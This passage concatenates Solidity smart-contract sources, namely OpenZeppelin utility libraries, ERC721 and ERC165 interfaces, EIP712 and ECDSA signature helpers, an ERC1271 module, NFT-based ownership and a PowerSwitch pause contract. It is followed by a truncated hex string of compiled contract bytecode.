Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* solhint-disable max-line-length */ /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator( bytes32 typeHash, bytes32 name, bytes32 version ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, name, version, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal view virtual returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal view virtual returns (bytes32) { return _HASHED_VERSION; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; interface IERC1271 { function isValidSignature(bytes32 _messageHash, bytes memory _signature) external view returns (bytes4 magicValue); } library SignatureChecker { function isValidSignature( address signer, bytes32 hash, bytes memory signature ) internal view returns (bool) { if (Address.isContract(signer)) { bytes4 selector = IERC1271.isValidSignature.selector; (bool success, bytes memory returndata) = signer.staticcall(abi.encodeWithSelector(selector, hash, signature)); return success && abi.decode(returndata, (bytes4)) == selector; } else { return ECDSA.recover(hash, signature) == signer; } } } /// @title ERC1271 /// @notice Module for ERC1271 compatibility abstract contract ERC1271 is IERC1271 { // Valid magic value bytes4(keccak256("isValidSignature(bytes32,bytes)") bytes4 internal constant VALID_SIG = IERC1271.isValidSignature.selector; // Invalid magic value bytes4 internal constant INVALID_SIG = bytes4(0); modifier onlyValidSignature(bytes32 permissionHash, bytes memory signature) { require( isValidSignature(permissionHash, signature) == VALID_SIG, "ERC1271: Invalid signature" ); _; } function _getOwner() internal view virtual returns (address owner); function isValidSignature(bytes32 permissionHash, bytes memory signature) public view override returns (bytes4) { return SignatureChecker.isValidSignature(_getOwner(), permissionHash, signature) ? VALID_SIG : INVALID_SIG; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /// @title OwnableERC721 /// @notice Use ERC721 ownership for access control contract OwnableERC721 { address private _nftAddress; modifier onlyOwner() { require(owner() == msg.sender, "OwnableERC721: caller is not the owner"); _; } function _setNFT(address nftAddress) internal { _nftAddress = nftAddress; } function nft() public view virtual returns (address nftAddress) { return _nftAddress; } function owner() public view virtual returns (address ownerAddress) { return IERC721(_nftAddress).ownerOf(uint256(address(this))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; interface IPowerSwitch { /* admin events */ event PowerOn(); event PowerOff(); event EmergencyShutdown(); /* data types */ enum State {Online, Offline, Shutdown} /* admin functions */ function powerOn() external; function powerOff() external; function emergencyShutdown() external; /* view functions */ function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getStatus() external view returns (State status); function getPowerController() external view returns (address controller); } /// @title PowerSwitch /// @notice Standalone pausing and emergency stop functionality contract PowerSwitch is IPowerSwitch, Ownable { /* storage */ IPowerSwitch.State private _status; /* initializer */ constructor(address owner) { // sanity check owner require(owner != address(0), "PowerSwitch: invalid owner"); // transfer ownership Ownable.transferOwnership(owner); } /* admin functions */ /// @notice Turn Power On /// access control: only admin /// state machine: only when offline /// state scope: only modify _status /// token transfer: none function powerOn() external override onlyOwner { require(_status == IPowerSwitch.State.Offline, "PowerSwitch: cannot power on"); _status = IPowerSwitch.State.Online; emit PowerOn(); } /// @notice Turn Power Off /// access control: only admin /// state machine: only when online /// state scope: only modify _status /// token transfer: none function powerOff() external override onlyOwner { require(_status == IPowerSwitch.State.Online, "PowerSwitch: cannot power off"); _status = IPowerSwitch.State.Offline; emit PowerOff(); } /// @notice Shutdown Permanently /// access control: only admin /// state machine: /// - when online or offline /// - can only be called once /// state scope: only modify _status /// token transfer: none function emergencyShutdown() external override onlyOwner { require(_status != IPowerSwitch.State.Shutdown, "PowerSwitch: cannot shutdown"); _status = IPowerSwitch.State.Shutdown; emit EmergencyShutdown(); } /* getter functions */ function isOnline() external view override returns (bool status) { return _status == State.Online; } function isOffline() external view override returns (bool status) { return _status == State.Offline; } function isShutdown() external view override returns (bool status) { return _status == State.Shutdown; } function getStatus() external view override returns (IPowerSwitch.State status) { return _status; } function getPowerController() external view override returns (address controller) { return Ownable.owner(); } }
0x608060405234801561001057600080fd5b50600436106102f25760003560e01c80637856143511610191578063a9526fae116100e3578063ce10012911610097578063e2c0042311610071578063e2c00423146105a0578063f2fde38b146105b3578063f9039437146105c6576102f2565b8063ce1001291461057d578063db70e8e814610585578063e2bb9c0f14610598576102f2565b8063b3173f9f116100c8578063b3173f9f14610542578063bf86d69014610555578063c7edd7661461055d576102f2565b8063a9526fae14610527578063b0ccbf8c1461053a576102f2565b80638539a69a1161014557806398322ab21161011f57806398322ab2146104ee57806399493c5114610501578063a65e2cfd14610514576102f2565b80638539a69a146104c05780638da5cb5b146104d35780638e0ef636146104db576102f2565b80637985cf56116101765780637985cf56146104925780638382840c146104a55780638531a636146104b8576102f2565b8063785614351461046c578063785b54791461047f576102f2565b806345ef79af1161024a578063643cd878116101fe57806371406a32116101d857806371406a3214610454578063715018a61461045c578063766f13bc14610464576102f2565b8063643cd878146104315780636471aadb14610439578063664ab18e1461044c576102f2565b806356360f711161022f57806356360f71146103f65780635d0cde9714610416578063642194501461041e576102f2565b806345ef79af146103ce5780634dd878d9146103d6576102f2565b80632857edd4116102ac5780633e12170f116102865780633e12170f146103a057806342c026c7146103b3578063438cae7e146103c6576102f2565b80632857edd4146103655780632ee0b2bc146103785780633b9e17551461038b576102f2565b80630513247b116102dd5780630513247b146103355780630670fafd1461034a5780630b2c5c141461035d576102f2565b80623f07fa146102f75780624414df14610320575b600080fd5b61030a610305366004612d30565b6105d9565b6040516103179190613203565b60405180910390f35b610328610666565b60405161031791906136ab565b610348610343366004612d30565b610676565b005b610328610358366004612e57565b61075c565b610328610825565b610328610373366004612f3d565b61082c565b610348610386366004612d30565b610885565b610393610957565b6040516103179190613584565b6103486103ae366004612dd3565b610a53565b6103286103c1366004613013565b610c2c565b61030a610c6c565b610328610cec565b6103e96103e4366004613013565b610cf2565b6040516103179190613142565b610409610404366004612d30565b610cff565b6040516103179190613647565b610328610da6565b61030a61042c366004612d30565b610dab565b610328610e66565b610348610447366004612dd3565b610e72565b61030a61151e565b61032861156d565b610348611572565b6103e961163d565b61032861047a366004612d30565b61168c565b61032861048d366004612d30565b611698565b6103286104a0366004612da8565b611775565b6103286104b336600461308f565b611826565b6103e96118e3565b6103286104ce366004613064565b6118f2565b6103e9611914565b6103486104e9366004612d30565b611923565b6103286104fc366004612da8565b611a11565b6103e961050f366004613013565b611a9c565b610348610522366004613043565b611aa9565b610328610535366004612da8565b611d12565b610348611d9a565b610328610550366004612e8b565b611ecf565b61030a611faa565b61057061056b366004612f80565b611ff9565b604051610317919061361c565b61032861212c565b610348610593366004613013565b612137565b6103286121b0565b6103286105ae366004613013565b6121bc565b6103486105c1366004612d30565b6122d1565b6103486105d4366004612d68565b6123f3565b60006001600160a01b03821630148015906105fc57506001600160a01b03821615155b801561061657506003546001600160a01b03838116911614155b801561063057506004546001600160a01b03838116911614155b801561064a57506005546001600160a01b03838116911614155b801561065e575061065c600f83612568565b155b90505b919050565b600061067142610c2c565b905090565b61067e61257d565b6001600160a01b031661068f611914565b6001600160a01b0316146106ea576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6106f2612581565b6106fd6011826125dd565b6107225760405162461bcd60e51b8152600401610719906133c8565b60405180910390fd5b7f040b321f0ccd1b9d7890282c99da1d97cbf2de30c3af0782aba31fbd95283243816040516107519190613142565b60405180910390a150565b6001600160a01b0383166000908152600e60209081526040808320600101805482518185028101850190935280835261081993859084015b828210156107da57838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610794565b50505050846107e8856121bc565b6107f186610c2c565b6040805160608101825260065481526007546020820152600854918101919091528790611ff9565b60400151949350505050565b620f424081565b6000805b835181101561087e57600084828151811061084757fe5b60200260200101519050600061086682600001518360200151876118f2565b905061087284826125f2565b93505050600101610830565b5092915050565b61088d61257d565b6001600160a01b031661089e611914565b6001600160a01b0316146108f9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610901612581565b61090c60118261264c565b6109285760405162461bcd60e51b81526004016107199061330e565b7f059b5054f04b000050b3cbdf0ad2d8bce0dfca886836a4742ab837cc948cd1af816040516107519190613142565b61095f612b41565b6040805161012081018252600380546001600160a01b039081168352600454811660208085019190915260055490911683850152835160608181018652600654825260075482840152600854828701528401526009546080840152600a5460a0840152600b5460c0840152600c5460e0840152600d8054855181840281018401909652808652939492936101008601939260009084015b82821015610a4657838290600052602060002090600302016040518060600160405290816000820154815260200160018201548152602001600282015481525050815260200190600101906109f6565b5050505081525050905090565b610a5b612661565b610a6484610dab565b610a805760405162461bcd60e51b81526004016107199061320e565b82610a9d5760405162461bcd60e51b8152600401610719906132a0565b6001600160a01b0384166000908152600e602052604090206001810154601e11610ad95760405162461bcd60e51b815260040161071990613493565b610ae16126ba565b6040805180820190915284815242602080830191825260018085018054808301825560009182529290209351600290920290930190815590519101558054610b2990856125f2565b81556002541580610b3d5750600254815411155b610b595760405162461bcd60e51b81526004016107199061326b565b600a54610b6690856125f2565b600a556003546040517fc792f45d0000000000000000000000000000000000000000000000000000000081526001600160a01b038781169263c792f45d92610bba92909116908890889088906004016131bd565b600060405180830381600087803b158015610bd457600080fd5b505af1158015610be8573d6000803e3d6000fd5b505050507f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d8585604051610c1d929190613156565b60405180910390a15050505050565b600c54600090821415610c425750600b54610661565b600a54600c54600091610c5591856118f2565b600b54909150610c6590826125f2565b9392505050565b60008060009054906101000a90046001600160a01b03166001600160a01b031663438cae7e6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cbb57600080fd5b505afa158015610ccf573d6000803e3d6000fd5b505050506040513d6020811015610ce557600080fd5b5051905090565b60025481565b600061065e600f836126cb565b610d07612b94565b6001600160a01b0382166000908152600e6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b82821015610d9857838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610d52565b505050915250909392505050565b603281565b6000805b610db960116126d7565b811015610e5d57610dcb6011826126cb565b6001600160a01b0316636b44e6be846040518263ffffffff1660e01b8152600401610df69190613142565b60206040518083038186803b158015610e0e57600080fd5b505afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190612ff3565b15610e55576001915050610661565b600101610daf565b50600092915050565b600061067160116126d7565b610e7a612661565b6001600160a01b0384166000908152600e6020526040902083610eaf5760405162461bcd60e51b8152600401610719906132d7565b6000856001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610eea57600080fd5b505afa158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f229190612d4c565b9050610f2d816126e2565b8154851115610f4e5760405162461bcd60e51b815260040161071990613527565b600a54851115610f5a57fe5b610f626126ba565b600480546005546040516370a0823160e01b81526000936001600160a01b03938416936370a0823193610f989391169101613142565b60206040518083038186803b158015610fb057600080fd5b505afa158015610fc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe8919061302b565b905060006110756003600a01805480602002602001604051908101604052809291908181526020016000905b828210156110645783829060005260206000209060030201604051806060016040529081600082015481526020016001820154815260200160028201548152505081526020019060010190611014565b505050508360036006015442611ecf565b9050600061111985600101805480602002602001604051908101604052809291908181526020016000905b828210156110e6578382906000526020600020906002020160405180604001604052908160008201548152602001600182015481525050815260200190600101906110a0565b5050600b546040805160608101825260065481526007546020820152600854918101919091528d93508792504290611ff9565b905080602001516000141561113b57611136600186016000612bae565b6111ad565b60208101516001860154111561117b578460010180548061115857fe5b60008281526020812060026000199093019283020181815560010155905561113b565b805160208201516001808801916111919161270a565b8154811061119b57fe5b60009182526020909120600290910201555b84546111b9908961270a565b8555600a546111c8908961270a565b600a556060810151600b556003546040517fabee08030000000000000000000000000000000000000000000000000000000081526001600160a01b038b81169263abee08039261122492909116908c908c908c906004016131bd565b600060405180830381600087803b15801561123e57600080fd5b505af1158015611252573d6000803e3d6000fd5b505050507f0f5bb82176feb1b5e747e28471aa92156a04d9f3ab9f45f28e2d704232b93f758989604051611287929190613156565b60405180910390a16040810151156115135760006112c1846112bb846040015160036006015461276790919063ffffffff16565b906127c0565b6009549091506112d1908261270a565b60095560006112e0600f6126d7565b11156114545760005b6112f3600f6126d7565b811015611452576000611307600f836126cb565b60408086015160055491516370a0823160e01b81529293506000926113a4928a926112bb9290916001600160a01b03808916926370a082319261134e921690600401613142565b60206040518083038186803b15801561136657600080fd5b505afa15801561137a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139e919061302b565b90612767565b6005546040516323e5d69960e21b81529192506001600160a01b031690638f975a64906113d99085908c908690600401613199565b600060405180830381600087803b1580156113f357600080fd5b505af1158015611407573d6000803e3d6000fd5b505050507f2422cac5e23c46c890fdcf42d0c64757409df6832174df639337558f09d99c688d898484604051611440949392919061316f565b60405180910390a150506001016112e9565b505b6005546004805460408086015190516323e5d69960e21b81526001600160a01b0394851694638f975a649461149194909116928b92909101613199565b600060405180830381600087803b1580156114ab57600080fd5b505af11580156114bf573d6000803e3d6000fd5b505060045460408086015190517f2422cac5e23c46c890fdcf42d0c64757409df6832174df639337558f09d99c68945061150993508e928a926001600160a01b039091169161316f565b60405180910390a1505b505050505050505050565b60008060009054906101000a90046001600160a01b03166001600160a01b031663664ab18e6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cbb57600080fd5b601e81565b61157a61257d565b6001600160a01b031661158b611914565b6001600160a01b0316146115e6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36001805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008060009054906101000a90046001600160a01b03166001600160a01b031663766f13bc6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cbb57600080fd5b600061065e8242611d12565b6001600160a01b0381166000908152600e60209081526040808320600101805482518185028101850190935280835261176b93859084015b82821015611716578382906000526020600020906002020160405180604001604052908160008201548152602001600182015481525050815260200190600101906116d0565b505050506001600160a01b0384166000908152600e602052604090205461173b61212c565b611743610666565b6040805160608101825260065481526007546020820152600854918101919091524290611ff9565b6040015192915050565b6001600160a01b0382166000908152600e60209081526040808320600101805482518185028101850190935280835261181993859084015b828210156117f3578382906000526020600020906002020160405180604001604052908160008201548152602001600182015481525050815260200190600101906117ad565b505050506001600160a01b0385166000908152600e60205260409020546107e8856121bc565b6040015190505b92915050565b6000806118338686612767565b90506000841561184e5761184b856112bb8a85612767565b90505b836040015186101580611865575060208401518451145b15611872578092506118d8565b6020840151845160009161188b916112bb908590612767565b905060006118c786604001516112bb88602001516112bb6118bd8b600001518c6020015161270a90919063ffffffff16565b61139e898f612767565b90506118d382826125f2565b945050505b505095945050505050565b6000546001600160a01b031690565b6000806118ff838561270a565b905061190b8186612767565b95945050505050565b6001546001600160a01b031690565b61192b61257d565b6001600160a01b031661193c611914565b6001600160a01b031614611997576040805162461bcd60e5